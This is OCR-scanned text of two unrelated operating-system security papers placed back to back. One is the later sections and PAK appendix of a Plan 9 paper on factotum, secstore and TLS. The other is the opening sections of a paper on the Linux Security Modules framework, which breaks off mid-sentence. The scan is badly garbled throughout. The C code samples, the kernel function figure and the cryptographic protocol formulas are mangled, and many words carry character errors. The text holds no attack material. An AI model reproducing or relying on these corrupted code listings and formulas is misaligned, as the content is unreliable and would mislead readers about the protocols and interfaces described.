To authenticate an instance of cpu requires 
factotum processes on both ends: the local, 
client end running as the user on a terminal and 
the remote, server end running as the host owner 
of the server machine. Here is schematic code 
for the two ends: 

je el yvente "7 

TAt 

p9authCint fd) 


{ 
AuthIinfo “ai; 


ai = auth_proxy(fd, auth_getkey, 
"proto=p9any role=client"); 
if(ai == NULL) 
return -1; 


/* start cpu protocol here */ 


} 


[OU SCRVERS f/, 
int 
srvp9authCint fd, char *“user) 


Authinfo *ai; 


ai = auth_proxy(fd, NULL, 
“proto=p9any role=server"); 
if(ai == NULL) 
return -l1; 
/* set user id for server process */ 
ifCauth_chuid(ai, NULL) < 0) 
return -1; 


/* start cpu protocol here */ 


i 
Auth_chuid encapsulates the negotiation to 
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change a user id using the caphash and capuse 
files of the (server) kernel. Note that although 
the client process may ask the user for new keys, 
using auth_getkey, the server machine, presum- 
ably a shared machine with a pseudo-user for the 
host owner, sets the key-getting function to NULL. 


5. Secure Store 


Factotum keeps its keys in volatile memory, 
which must somehow be initialized at boot time. 
Therefore, factotum must be supplemented by a 
persistent store, perhaps a floppy disk containing 
a key file of commands to be copied into 
/mnt/factotum/ct] during bootstrap. But 
removable media are a nuisance to carry and are 
vulnerable to theft. Keys could be stored 
encrypted on a shared file system, but only if 
those keys are not necessary for authenticating to 
the file system tn the first place. Even if the keys 
are encrypted under a user password, a thief 
might well succeed with a dictionary attack. 
Other risks of local storage are loss of the con- 
tents through mechanical mishap or dead batter- 
ies. Thus for convenience and safety we provide 
a secstore (secure store) server in the network 
to hold each user’s permanent list of keys, a key 
file. 

Secstore is a file server for encrypted data, used 
only during bootstrapping. It must provide 
strong authentication and resistance to passive 
and active protocol attacks while assuming noth- 
ing more from the client than a password. Once 
factotum has loaded the key file, further 
encrypted or authenticated file storage can be 
accomplished by standard mechanisms. 


The cryptographic technology that enables 
secstore is a form of encrypted key exchange 
called PAK [2], analogous to EKE [I], SRP [19], 
or SPEKE [5]. PAK was chosen because it 
comes with a proof of equivalence in strength to 
Diffie-Hellman; subtle flaws in some earlier 
encrypted key exchange protocols and implemen- 
tations have encouraged us to take special care. 
In outline, the PAK protocol 1s: 

CS: C.g*H 

SoC: Sg" ,hash(g”,C,S) 

COS: hash(g*",S,C) 
where #H is a preshared secret between client C 
and server S. There are several variants of PAK, 
all presented in papers mainly concerned with 
proofs of cryptographic properties. To aid imple- 
menters, we have distilled a description of the 
specific version we use into an Appendix to this 


paper. The Plan 9 open source license provides 
for use of Lucent’s encrypted key exchange 
patents in this context. 


As a further layer of defense against password 
theft, we provide (within the encrypted channel 
C’ — S) information that is validated ata RADIUS 
server, such as the digits from a hardware token 
[14]. This provides two-factor authentication, 
which potentially requires tricking two indepen- 
dent administrators in any attack by social engi- 
neering. 


The key file stored on the server is encrypted 
with AES (Rijndael) using CBC with a 10-byte 
initialization vector and trailing authentication 
padding. All this is invisible to the user of 
secstore. For that matter, it is invisible to the 
secstore server as well; if the AES Modes of 
Operation are standardized and a new encryption 
format designed, it can be implemented by a 
chent without change to the server. The 
secstore 1s deliberately not backed up; the user 
is expected to use more than one secstore or 
save the key file on removable media and lock it 
away. The user’s password is hashed to create 
the H used in the PAK protocol; a different hash 
of the password is used as the file encryption 
key. Finally, there 1s a command (inside the 
authenticated, encrypted channel between client 
and secstore) to change passwords by sending a 
new H; for consistency, the client process must at 
the same time fetch and re-encrypt all files. 


When factotum starts, it dials the local 
secstore and checks whether the user has an 
account. If so, it prompts for the user’s 
secstore password and fetches the key file. The 
PAK protocol ensures mutual authentication and 
prevents dictionary attacks on the password by 
passive wiretappers or active intermediaries. 
Passwords saved in the key file can be long ran- 
dom strings suitable for simpler 
challenge/response authentication protocols. 
Thus the user need only remember a single, 
weaker password to enable strong, ‘‘single sign 
on’’ authentication to unchanged legacy applica- 
tions scattered across multiple authentication 
domains. 


6. Transport Layer Security 


Since the Plan 9 operating system is designed for 
use in network elements that must withstand 
direct attack, unguarded by firewall or VPN, we 
seek to ensure that all applications use channels 
with appropriate mutual authentication and 
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encryption. A principal tool for this is TLS 1.0 
[3]. (TLS 1.0 is nearly the same as SSL 3.0, and 
our software is designed to interoperate with 
implementations of either standard.) 


TLS defines a record layer protocol for message 
integrity and privacy through the use of message 
digesting and encryption with shared secrets. We 
implement this service as a kernel device, though 
it could be performed at slightly higher cost by 
invoking a separate program. The library inter- 
face to the TLS kernel device 1s: 
int pushtlsCint fd, char *hashalg, 
char *cryptalg, int isclient, 
char *secret, char *dir); 

Given a file descriptor, the names of message 
digest and encryption algorithms, and the shared 
secret, pushtls returns a new file descriptor for 
the encrypted connection. (The final argument 
dir receives the name of the directory tn the TLS 
device that is associated with the new connec- 
tion.) The function is named by analogy with the 
‘*push’’ operation supported by the stream I/O 
system of Research Unix and the first two edi- 
tions of Plan 9. Because adding encryption is as 
simple as replacing one file descriptor with 
another, adding encryption to a particular net- 
work service is usually trivial. 


The Plan 9 shared key authentication protocols 
establish a shared 56-bit secret as a side effect. 
Native Plan 9 network services such as cpu and 
exportfs use these protocols for authentication 
and then invoke pusht1s with the shared secret. 


Above the record layer, TLS specifies a hand- 
shake protocol using public keys to establish the 
session secret. This protocol is widely used with 
HTTP and IMAP4 to provide server authentica- 
tion, though with client certificates it could pro- 
vide mutual authentication. The library function 


int tlsClientCint fd, TLSconn *conn) 


handles the initial handshake and returns the 
result of pushtls. On return, it fills the conn 
structure with the session ID used and the X.509 
certificate presented by the server, but makes no 
effort to verify the certificate. Although the orig- 
inal design intent of X.509 certificates expected 
that they would be used with a Public Key Infras- 
tructure, reliable deployment has been so long 
delayed and problematic that we have adopted 
the simpler policy of just using the X.509 certift- 
cate aS a representation of the public key, 
depending on a locally-administered directory of 
SHA1 thumbprints to allow applications to 
decide which public keys to trust for which 
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purposes. 


7. Related Work and Discussion 


Kerberos, one of the earliest distributed authenti- 
cation systems, keeps a set of authentication tick- 
ets in a temporary file called a ticket cache. The 
ticket cache is protected by Unix file permis- 
sions. An environment variable containing the 
file name of the ticket cache allows for different 
ticket caches in different simultaneous login ses- 
sions. A user logs in by typing his or her Ker- 
beros password. The login program uses the 
Kerberos password to obtain a temporary ticket- 
granting ticket from the authentication server, 
initializes the ticket cache with the ticket- 
granting ticket, and then forgets the password. 
Other applications can use the ticket-granting 
ticket to sign tickets for themselves on behalf of 
the user during the login session. The ticket 
cache is removed when the user logs out [18]. 
The ticket cache relieves the user from typing a 
password every time authentication is needed. 


The secure shell SSH develops this idea further, 
replacing the temporary file with a named Unix 
domain socket connected to a user-level pro- 
gram, called an agent. Once the SSH agent is 
started and initialized with one or more RSA pri- 
vate keys, SSH clients can employ it to perform 
RSA authentications on their behalf. In the 
absence of an agent, SSH typically uses RSA 
keys read from encrypted disk files or uses 
passphrase-based authentication, both of which 
would require prompting the user for a 
passphrase whenever authentication 1s needed 
[20]. The self-certifying file system SFS uses a 
similar agent [6], not only for moderating the use 
of client authentication keys but also for verify- 
ing server public keys [8]. 

Factotum ts a logical continuation of this evolu- 
tion, replacing the program-specific SSH or SFS 
agents with a general agent capable of serving a 
wide variety of programs. Having one agent for 
all programs removes the need to have one agent 
for each program. It also allows the programs 
themselves to be protocol-agnostic, so that, for 
example, one could build an SSH workalike 
capable of using any protocol supported by 
factotum, without that program knowing any- 
thing about the protocols. Traditionally each 
program needs to implement each authentication 
protocol for itself, an O(27 ) coding problem that 
factotum reduces to O(n). 


Previous work on agents has concentrated on 
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their use by clients authenticating to servers. 
Looking in the other’ direction, Sun 
Microsystem’s pluggable authentication module 
(PAM) is one of the earliest attempts to provide a 
general authentication mechanism for Unix-like 
Operating systems [17]. Without a_ central 
authority like PAM, system policy is tied up in 
the various implementations of network services. 
For example, on a typical Unix, if a system 
administrator decides not to allow plaintext pass- 
words for authentication, the configuration files 
for a half dozen different servers — rlogind, 
telnetd, ftpd, sshd, and so on — need to be 
edited. PAM solves this problem by hiding the 
details of a given authentication mechanism 
behind a common library interface. Directed by 
a system-wide configuration file, an application 
selects a particular authentication mechanism by 
dynamically loading the appropriate shared 
library. PAM is widely used on Sun’s Solaris 
and some Linux distributions. 


Factotum achieves the same goals using the 
agent approach. Factotum is the only process 
that needs to create capabilities, so all the net- 
work servers can run as untrusted users (e.g., 
Plan 9’s none or Unix’s nobody), which greatly 
reduces the harm done if a server 1s buggy and is 
compromised. In fact, if factotum were imple- 
mented on Unix along with an analogue to the 
Plan 9 capability device, venerable programs like 
su and login would no longer need to be 
installed “‘setuid root.’’ 


Several other systems, such as Password Safe 
[16], store multiple passwords in an encrypted 
file, so that the user only needs to remember one 
password. Our secstore solution differs from 
these by placing the storage in a hardened loca- 
tion in the network, so that the encrypted file is 
less liable to be stolen for offline dictionary 
attack and so that it is available even when a user 
has several computers. In contrast, Microsoft’s 
Passport system [9] keeps credentials in the net- 
work, but centralized at one extremely-high- 
value target. The important feature of Passport, 
setting up trust relationships with e-merchants, 1s 
outside our scope. The secstore architecture is 
almost identical to Perlman and Kaufman’s [10] 
but with newer EKE technology. Like them, we 
chose to defend mainly against outside attacks on 
secstore; if additional defense of the files on 
the server itself is desired, one can use dis- 
tributed techniques [4]. 


We made a conscious choice of placing encryp- 
tion, message integrity, and key management at 
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the application layer (TLS, just above layer 4) 
rather than at layer 3, as in IPsec. This leads to a 
simpler structure for the network stack, easier 
integration with applications and, most impor- 
tant, easier network administration since we can 
recognize which applications are misbehaving 
based on TCP port numbers. TLS does suffer 
(relative to IPsec) from the possibility of forged 
TCP Reset, but we feel that this is adequately 
dealt with by randomized TCP sequence num- 
bers. In contrast with other TLS libraries, Plan 9 
does not require the application to change write 
calls to sslwrite but simply to add a few lines 
of code at startup [13]. 


8. Conclusion 


Writing safe code is difficult. Stack attacks, mis- 
takes in logic, and bugs in compilers and operat- 
ing systems can each make it possible for an 
attacker to subvert the intended execution 
sequence of a service. If the server process has 
the privileges of a powerful user, such as root 
on Unix, then so does the attacker. Factotum 
allows us to constrain the privileged execution to 
a single process whose core is a few thousand 
lines of code. Verifying such a process, both 
through manual and automatic means, is much 
easier and less error prone than requiring it of all 
servers. 


An implementation of these ideas is in Plan 9 
from Bell Labs, Fourth Edition, freely available 
from http://plan9.bel1l—labs.com/plan9. 
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Appendix: Summary of the PAK protocol 


Let g >2'© and p >2'°4 be primes such that 
p=rg+1 with r nota multiple of g. Take he Zi; 
such that g=h’ is not |. These parameters may 
be chosen by the NIST algorithm for DSA, and 
are public, fixed values. The client C knows a 
secret m and computes //=(/f,(C, %))" and 
HT~', where #, is a hash function yielding a ran- 
dom element of 4, and 7/~' may be computed 
by gcd. (All arithmetic is modulo p.) The client 
gives [7~! to the server S ahead of time by a pri- 
vate channel. To start a new connection, the 
client generates a random value x, computes 
m=g" H, then calls the server and sends C and nt. 
The server checks m#0 mod p, generates ran- 
dam y», computes t=9", o=(m/1~*)", and sends 
S. pt, k=vhe/ ('server",C,Sym,yt,o./17!), Next 
the client computes G=u", verifies A, and sends 
k’=shal("client",C,S,m,u,6,//- ). The server 
then verifies A° and both sides begin using ses- 
sion key K=sha/("session",C,S,m,u,0,/1— '): 
In the published version of PAK, the server name 
Sis included in the initial hash //, but doing so is 
Inconvenient in our application, as the server 
may be known by various equivalent names. 


MacKenzie has shown [7] that the equivalence 
proof [2] can be adapted to cover our version. 
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Abstract 


The access control mechanisms of existing mainstream 
operating systems are inadequate to provide strong sys- 
tem security. Enhanced access control mechanisms have 
failed to win acceptance into mainstream operating sys- 
tems due in part to a lack of consensus within the se- 
curity community on the right solution. Since general- 
pulpose operating systems must satisfy a wide range of 
user requirements, any access control mechanism inte- 
grated into such a system must be capable of supporting 
many different access control models. The Linux Secu- 
rity Modules (LSM) project has developed a lightweight, 
general purpose, access control framework for the main- 
stream Linux kernel that enables many different access 
control models to be implemented as loadable kernel 
modules. A number of existing enhanced access control 
implementations, including Linux capabilities, Security- 
Enhanced Linux (SELinux), and Domain and Type En- 
forcement (DTE), have already been adapted to use the 
LSM framework. This paper presents the design and 
implementation of LSM and discusses the challenges 
in providing a truly general solution that minimally im- 
pacts the Linux kernel. 


1 Introduction 


The critical role of operating system protection mech- 
anisms in providing system security has been well- 
understood for over thirty years, yet the access control 
mechanisms of existing mainstream operating systems 
are still inadequate to provide strong security [2, 39, 28, 
17, 26, 6, 30]. Although many enhanced access control 
models and frameworks have been proposed and imple- 
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mented [9, 1, 4, 41, 23, 10, 29, 37], mainstream oper- 
ating systems typically still lack support for these en- 
hancements. In part, the absence of such enhancements 
is due to a lack of agreement within the security com- 
munity on the right general solution. 


Like many other general-purpose operating systems, the 
Linux kernel only provides discretionary access controls 
and lacks any direct support for enhanced access control 
mechanisms. However, Linux has long supported dy- 
namically loadable kernel modules, primarily for device 
drivers, but also for other components such as filesys- 
tems. In principle, enhanced access controls could be 
implemented as Linux kemel modules, permitting many 
different security models to be supported. 


In practice, creating effective security modules is prob- 
lematic since the kernel does not provide any infrastruc- 
ture to allow kernel modules to mediate access to ker- 
nel objects. As a result, kernel modules typically re- 
sort to system call interposition to control kernel op- 
erations [18, 20], which has serious limitations as a 
method for providing access control [41]. Furthermore, 
these kernel modules often require reimplementing se- 
lected kernel functionality [18, 20] or require a patch 
to the kernel to support the module [10, 3, 15], reduc- 
ing much of the value of modular composition. Hence, 
many projects have implemented enhanced access con- 
trol frameworks or models for the Linux kernel as kernel 
patches’|[29) 37,237 52.27), 


At the Linux Kemel 2.5 Summit, the NSA presented 
their work on Security-Enhanced Linux (SELinux) [29], 
an implementation of a flexible access control architec- 
ture in the Linux kernel, and emphasized the need for 
such support in the mainstream Linux kernel. Linus Tor- 
valds appeared to accept that a general access control 
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framework for the Linux kemel 1s needed, but favored a 
new infrastructure that would provide the necessary sup- 
port to kernel modules for implementing security. This 
approach would avoid the need to choose among the ex- 
isting competing projects. 


In response to Linus’ guidance, the Linux Security Mod- 
ules (LSM) [45, 40] project has developed a lightweight, 
general purpose, access control framework for the matn- 
stream Linux kernel that enables many different ac- 
cess control models to be tmplemented as loadable ker- 
nel modules. A number of existing enhanced access 
control implementations, including POSIX.le capabil- 
ities [42], SELinux, and Domain and Type Enforcement 
(DTE) [23], have already been adapted to use the LSM 
framework. 


The LSM framework meets the goal of enabling many 
different security models with the same base Linux ker- 
nel while minimally impacting the Linux kernel. The 
generality of LSM permits enhanced access controls 
to be effectively implemented without requiring kernel 
patches. LSM also pemnits the existing security func- 
tionality of POSIX.le capabilities to be cleanly sepa- 
rated from the base kernel. This allows users with spe- 
cialized needs, such as embedded system developers, to 
reduce security features to a minimum for performance. 
It also enables development of POSIX.le capabilities to 
proceed with greater independence from the base kernel. 


The remainder of this paper is organized as follows. 
Section 2 elaborates on the problem that LSM seeks to 
solve. Section 3 presents the LSM design. Section 4 
presents the current LSM implementation. Section 5 de- 
scribes the operational status of LSM, including testing, 
performance overhead, and modules built for LSM so 
far. Section 6 describes issues that arose during devel- 
opment, and plans for future work. Section 7 describes 
related work. Section 8 presents our conclusions. 


2 The Problem: Constrained Design Space 


The design of LSM was constrained by the practical and 
technical concerns of both the Linux kernel developers 
and the various Linux security projects. In email on the 
topic, Linus Torvalds specified that the security frame- 
work must be: 


e truly generic, where using a different security 
model is merely a matter of loading a different ker- 
nel module; 
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e conceptually simple, minimally invasive, and effi- 
cient; and 


e able to support the existing POSIX.le capabilities 
logic as an optional security module. 


The various Linux security projects were primarily inter- 
ested in ensuring that the security framework would be 
adequate to permit them to reimplement their existing 
security functionality as a loadable kernel module. The 
new modular implementation must not cause any signif- 
icant loss in the security being provided and should have 
little additional performance overhead. 


The core functionality for most of these security projects 
was access control. However, a few security projects 
also desired other kinds of security functionality, such as 
security auditing or virtualized environments. Further- 
more, there were significant differences over the range 
of flexibility for the access controls. Most of the secu- 
rity projects were only interested in further restricting 
access, 1.e. being able to deny accesses that would or- 
dinarily be granted by the existing Linux discretionary 
access control (DAC) logic. However, a few projects 
wanted the ability to grant accesses that would ordinar- 
ily be denied by the existing DAC logic; some degree 
of this permissive behavior was needed to support the 
capabilities logic as a module. Some security projects 
wanted to migrate the DAC logic into a security module 
so that they could replace tt. 


The “LSM problem” is to unify the functional needs of 
as many security projects as possible, while minimizing 
the impact on the Linux kernel. The union set of desired 
features would be highly functional, but also so invasive 
as to be unacceptable to the mainstream Linux commu- 
nity. Section 3 presents the compromises LSM made to 
simultaneously balance these conflicting goals. 


3 LSM Design: Mediate Access to Kernel 
Objects 


The system call interface provides an abstraction for 
userspace to interact with the kemel, and is a tempting 
location to mediate access. In fact, no kernel modifica- 
tions are required to overwrite entries in the system call 
lookup table, making it trivial to mediate this interface 
using kernel modules [18, 19]. While this is an attrac- 
tive feature, mediating the system call interface provides 
limited value for a general purpose security framework 
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Figure |: LSM Hook Architecture 


such as LSM [41]. This level of mediation is not race- 
free, may require code duplication, and may not ade- 
quately express the full context needed to make security 
policy decisions. 


The basic abstraction of the LSM interface is to mediate 
access to internal kernel objects. LSM secks to allow 
modules to answer the question “May a subject S per- 
form a kernel operation OP on an internal kernel object 
OBI 


LSM allows modules to mediate access to kernel objects 
by placing ooks in the kernel code just ahead of the ac- 
cess, as Shown in Figure |. Just before the kernel would 
have accessed an internal object, a hook makes a call 
to a function that the LSM module must provide. The 
module can either let the access occur, or deny access, 
forcing an error code return. 


The LSM framework leverages the kernel’s existing 
mechanisms to translate user supplied data --- typically 
strings, handles or simplified data structures — into tn- 
ternal data structures. This avoids time of check to time 
of use (TOCTTOU) races [8] and inefficient duplicate 
look ups. It also allows the LSM framework to directly 
mediate access to the core kernel data structures. With 
such an approach, the LSM framework has access to the 
full kernel context just before the kernel actually per- 
forms the requested service. This improves access con- 
trol granularity. 


Given the constrained design space described in Sec- 
tion 2, the LSM project chose to limit the scope of the 
LSM design to supporting the core access control func- 
tionality required by the existing Linux security projects. 


JkeQuest acess 
e UID match? >. ‘DAC override» | DENY access 


| i 
yes 


| GRANT access — —— 


2Permissive LSM hook 


no 








Figure 2: Permissive LSM hook. This hook allows the security 
policy to override a DAC restriction. 


This limitation enabled the LSM framework to remain 
conceptually simple and minimally invasive while still 
meeting the needs of many of the security projects. It 
also strengthened the justification for adopting the LSM 
framework into the Linux kemel, since the need for en- 
hanced access controls was more generally accepted by 
the kernel developers than the need for other kinds of 
security functionality such as auditing. 


A consequence of the “stay simple” design decision is 
that LSM hooks are primarily restrictive: where the ker- 
nel was about to grant access, the module may deny ac- 
cess, but when the kernel would deny access, the module 
isnotconsulted. This design simplification exists largely 
because the Linux kemel “short-circuits” many dect- 
sions early when crror conditions are detected. Provid- 
ing for authoritative hooks (where the module can over- 
ride either decision) would require many more hooks 
into the Linux kernel. 


However, the POSIX. le capabilities logic requires the 
ability to grant accesses that would ordinarily be denied 
at a coarse level of granularity. In order to support this 
logic as a security module, LSM provides some minimal 
support for these permissive hooks, where the module 
can grant access the kernel was about to deny. The per- 
missive hooks are typically coupled with a simple DAC 
check, and allow the module to override the DAC restric- 
tion. Figure 2 shows a user access request where a failed 
user ID check can be overridden by a permissive hook. 
These hooks are limited to the extent that the kernel al- 
ready consultsthe POSIX.le capable() function. 


Although LSM was not designed to explicitly sup- 
port security auditing, some forms of auditing can be 
supported using the features provided for access con- 
trol. For example, many of the existing Linux security 
projects provide support for auditing the access checks 
performed by their access controls. LSM also enables 
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support for this kind of auditing. Some security auditing 
can also be supported via existing kernel modules by in- 
terposing on system calls, as inthe SNARE project [25]. 


Many security models require binding security attributes 
to kernel objects. To facilitate this, LSM provides for 
opaque security fields that are attached to various in- 
ternal kernel objects (detailed in Section 4.1.1). How- 
ever, the module is completely responsible for manag- 
ing these fields, including allocation, deallocation, and 
concurrency control. 


Finally, module composition presented a challenge to 
the LSM design. On the one hand, there clearly is a need 
to compose some modules with complementary func- 
tionality. On the other hand, fully generic security pol- 
icy composition ts known to be intractable [21]. There- 
fore, LSM permits module stacking, but pushes most 
of the work to the modules themselves. A module that 
wishes to be stackable must itself export an LSM-like tn- 
terface, and make calls to subsequently loaded modules 
when appropriate. The first module loaded has ultimate 
control over all decisions, determining when to call any 
other modules and how to combine their results. 


4 Implementation 


This section describes the implementation of the LSM 
kernel patch. It begins with an overview of the imple- 
mentation that describes the types of changes made to 
the kernel in Section 4.1. Sections 4.2 through 4.7 dis- 
cuss the specific hooks for the various kernel objects or 
subsystems. 


4.1. Implementation Overview 


The LSM kernel patch modifies the kernel in five pri- 
mary ways. First, it adds opaque security fields to cer- 
tain kernel data structures, described in Section 4.1.1. 
Second, the patch inserts calls to security hook func- 
tions at various points within the kernel code, described 
in Section 4.1.2. Third, the patch adds a generic secu- 
rity system call, described in Section 4.1.3. Fourth, the 
patch provides functions to allow kernel modules to reg- 
ister and unregister themselves as security modules, de- 
scribed in Section 4.1.4. Finally, the patch moves most 
of the capabilities logic into an optional security module, 
described in Section 4.1.5. 
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kern.ipc_perm | Semaphore. Shared Memory Segment, 
or Message Quecuc 





msg-msy Individual Message 


Table 1: Kemel data structures modified by the LSM kernel patch 
and the corresponding abstract objects. 


4.1.1 Opaque Security Fields 


The opaque security fields are void* pointers, which 
enable security modules to associate security infonna- 
tion with kernel objects. Table 1 shows the kernel data 
structures that are modified by the LSM kernel patch and 
the corresponding abstract object. 


The setting of these security fields and the management 
of the associated security data is handled by the secu- 
rity modules. LSM merely provides the fields and a set 
of calls to security hooks that can be implemented by 
the module to manage the security fields as desired. For 
most kinds of objects, an alloc_security hook and 
a free.security hook are defined that permit the se- 
curity module to allocate and free security data when 
the corresponding kernel data structure is allocated and 
freed. Other hooks are provided to permit the security 
module to update the security data as necessary, e.g. a 
post_lookup hook that can be used to set security 
data for an inode after a successful lookup operation. 
It is important to note that LSM does not provide any 
locking for the security fields; such locking must be per- 
formed by the security module. 


Since some objects will exist prior to the initialization 
of a security module, even if the module is built into 
the kernel, a security module must handle pre-existing 
objects. Several approaches are possible. The simplest 
approach Is to ignore such objects, treating them as be- 
ing outside of the control of the module. These objects 
would then only be controlled by the base Linux access 
control logic. A second approach 1s to traverse the kernel 
data structures during module initialization, setting the 
security fields for all pre-existing objects at this time. 
This approach would require great care to ensure that 
all objects are updated (e.g. an open file might be on a 
UNIX domain socket awaiting receipt by a process) and 
to ensure that appropriate locking is performed. A third 
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ink. visemkdir(Strnuct inode “dir, 


Struct dentry *dentry, int mode) 
{ 
Tht wer ror; 
down (&dir->1i_zombie) ; 
error = may Creare(dir,; Gentry) 7 


LE (ernor) 
Goto exit lock; 


error. = ~BPERM; 
Veo (dar =Sas sop: ||/| 
goto JexrE lock: 


!dir->i op->mkdir) 


mode &= (S IRWXUGO|S ISVTX); 
error = 
es “SECUnILY “Ops=sinode Ops=smkdiridir, 
dentry, mode) ;: 
Ve i (error) 
goto exitwlock; 


DQUOT_INIT (dir) ; 

toek kerne i); 

error = dir-si -op--mkdir (dir; dentry, mode); 
unlock kernel (); 


exe lock: 
Up (&din=si, zombie) 7 
if (!'error) { 
inode. dir notify (dir, DN CREATE) 7 
goo; “BECUrLLY Ops=sinede. ops >post..mkdai1r (dig, 
dentry, mode) ; 


return error; 


Figure 3: The v£s.mkdir kernel function with one security hook 
call to mediate access and one security hook call to manage the security 
field. The securily hooks are marked by<- >. 


approach Is to test for pre-existing objects on each use 
and to then set the security field for pre-existing objects 
when needed. 


4.1.2 Calls to Security Hook Functions 


As discussed in the previous subsection, LSM provides 
a set of calls to security hooks to manage the security 
fields of kernel objects. It also provides a set of calls to 
security hooks to mediate access to these objects. Both 
sets of hook functions are called via function pointers in 
a global security_ops table. This structure consists 
of a collection of substructures that group related hooks 
based on kernel object or subsystem, as well as some 
top-level hooks for system operations. Each hook is de- 
fined in terms of kernel objects and parameters, and care 
has been taken to avoid userspace pointers. 


Figure 3 shows the v£s_mkdir kernel function after the 


LSM kernel patch has been applied. This kernel func- 
tion 1s used to create new directories. Two calls to secu- 
rity hook functions have been inserted into this function. 
The first hook call, security_ops->inode_ops- 
>mk dir, can beusedtocontrol the ability to create new 
directories. If the hook returns an error status, then the 
new directory will not be created and the error status will 
be propagated to the caller. The second hook call, se - 
curity_ops->inode_ops->post_mkdir, can be 
used to set the security field for the new directory’s in- 
ode structure. This hook can only update the security 
module’s state; it cannot affect the retum status. 


Although LSM also inserts a hook call into the Linux 
kernel permission function, the permission hook 
is insufficient to control file creation operations because 
it lacks potentially important information, such as the 
type of operation and the name and mode for the new 
file. Similarly, inserting a hook call into the Linux ker- 
nel may_create function would be tnsufficient since it 
would still lack precise information about the type of op- 
eration and the mode. Hence, a hook was inserted with 
the same interface as the corresponding inode operation. 


An alternative to inserting these two hooks into 
vfs_mkdir would be to interpose on the dir->i_op- 
>mkdir call. Interposing on internal kernel interfaces 
would provide equivalent functionality for some of the 
LSM hooks. However,:such interposition would also 
permit much more general functionality to be imple- 
mented via kernel modules. Since kernel modules have 
historically been allowed to use licenses other than the 
GPL, an approach based on interposition would likely 
create political challenges to the acceptance of LSM by 
the Linux kernel developers. 


4.1.3 Security System Call 


LSM provides a general security system call that 
allows security modules to implement new calls for 
security-aware applications. Although modules can ex- 
port information and operations via the /proc filesys- 
tem or by defining a new pseudo filesystem type, such 
an approach 1s inadequate for the needs of some security 
modules. For example, the SELinux module provides 
extended forms of a number of existing system calls that 
permit applications to specify or obtain security infor- 
mation associated with kemel objects and operations. 


The security system call its a simple multi- 
plexor fashioned after the existing Linux sock- 
etcall system call. It takes the following ar- 
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guinents: (unsigned int id, unsigned int 
call, unsigned long *args). Since the mod- 
ule defines the implementation of the system call, it can 
choose to interpret the arguments however it likes. These 
arguments are intendcd to be interpreted by the modules 
as a module identifier, a call identifier, and an argument 
array. By default, LSM provides a sysS_security en- 
try point function that simply calls a sys_security 
hook with the parameters. A security module that does 
not provide any new calls can define a syS_security 
hook fiinction that returns -ENOSYS. Most security 
modules that want to provide new calls can place their 
call implementations in this hook function. 


In some cases, the entry point function provided by LSM 
may be inadequate for a security module. For example, 
one of the new calls provided by SELinux requires ac- 
cess to the registers on the stack. The SELinux module 
implements its own entry point function to provide such 
access, and replaces the LSM entry point functton with 
this function in the system call table during module ini- 
tialization. 


4.1.4 Registering Security Modules 


The LSM framework is initialized during the kernel’s 
boot sequence with a set of dummy hook functions that 
enforce traditional UNIX superuser semantics. When a 
security module is loaded, it must register itself with the 
LSM framework by calling the register_security 
function. This function sets the global security_ops 
table to refer to the module’s hook function pointers, 
causing the kernel to call into the security module for 
access contro! decisions. The register_security 
function will not overwrite a previously loaded module. 
Once a security module is loaded, 1t becomes a policy 
decision whether it will allow itself to be unloaded. 


[f a security module 1s unloaded, it must unregister with 
the framework using unregister_security. This 
simply replaces the hook functions with the defaults so 
the system will still have some basic means for security. 
The default hook functions do not use the opaque secu- 
rity fields, so the system’s security should not be com- 
promised if the module does a poor job of resetting the 
opaque fields. 


As mentioned in Section 3, general composition of polli- 
cies 1s intractable. While arbitrary policy composition 
gives undefined results, it is possible to develop secu- 
rity modules such that they can compose with defined 
results. To keep the framework simple, it is aware of 
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only one module, either the default or the registered 
module -- the primary module. A security module may 
register itself directly with the primary module using 
the mod_reg_security interface. This registration 1s 
controlled by the primary module, so it 1s a policy deci- 
sion whether to allow module stacking. With this simple 
interface, basic module stacking can be supported with 
no complexity in the framework. 


4.1.5 Capabilities 


The Linux kernel currently provides support for a sub- 
set of POSIX.1]¢ capabilities. One of the requirements 
for the LSM project was to move this functionality to 
an optional security module, as mentioned tn Section 2. 
POSIX.le capabilitics provides a mechanism for par- 
titioning traditional superuser privileges and assigning 
them to particular processes. 


By nature, privilege granting is a permissive form of ac- 
cess control, since it grants an access that would ordi- 
narily be denied. Consequently, the LSM framework 
had to provide a permissive interface with at least the 
same granularity of the Linux capabilities implementa- 
tion. LSM retains the existing capable interface used 
within the kernel for performing capability checks, but 
reduces the capable function to a simple wrapper for 
a LSM hook, allowing any desired logic to be imple- 
mented in the security module. This approach allowed 
LSM to leverage the numerous (more than 500) existing 
kernel calls to capable and to avoid pervasive changes 
to the kemel. LSM also defines hooks to allow the 
logic for other forms of capability checking and capabil- 
ity computations to be encapsulated within the security 
module. 


A process capability set, a simple bit vector, 1s stored 
In the task_struct structure. Because LSM adds an 
Opaque sccurity field to the task_struct and hooks 
to manage the field, it would be possible to move the 
existing bit vector into the field. Such a change would 
be logical under the LSM framework but this change 
has not been implemented tn order to ease stacking with 
other modules. One of the difficulties of stacking se- 
curity modules in the LSM framework is the need to 
share the opaque security fields. Many security modules 
will want to stack with the capabilities module, because 
the capabilities logic has been integrated into the main- 
stream kernel for some time and 1s relied upon by some 
applications such as named and sendmail. Leaving 
the capability bit vector in the task_struct eases this 
composition at the cost of wasted space for modules that 
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don’t need to use it. 


The Linux kernel support for capabilities also includes 
two system call calls: capset and capget. To remain 
compatible with existing applications, these system calls 
are retained by LSM but the core capabilities logic for 
these functions has been replaced by calls to LSM hooks. 
Ultimately, these calls should be reimplemented via the 
security system call. This change should have little 
impact on applications since the portable interface for 
capabilities is through the Libcap library rather than 
direct use of these calls. 


The LSM project has developed a capabilities security 
module and migrated much of the core capabilities logic 
into it; however, the kernel still shows vestiges of the 
pre-existing Linux capabilities. Moving the bit vector 
from the task_struct proper to the opaque security 
field and relocating the system call interface are the only 
major steps left to making the capability module com- 
pletely standalone. 


42 Task Hooks 


LSM provides a set of task hooks that enable security 
modules to manage process security information and to 
control process operations. Modules can maintain pro- 
cess security information using the security field of the 
task_struct structure. Task hooks provide control 
over inter-process operations, such as kill, as well as 
control over privileged operations on the current pro- 
cess, such as Setuid. The task hooks also provide 
fine-grained control over resource management opera- 
tions such as setrlimit and nice. 


4.3. Program Loading Hooks 


Many security modules, including Linux capabilities, 
DTE, SELinux, and SubDomain require the ability to 
perform changes tn privilege when a new program Is ex- 
ecuted. Consequently, LSM provides a set of program- 
loading hooks that are called at critical points during 
the processing of an execve operation. The security 
field of the Linux_binprm structure pennits modules 
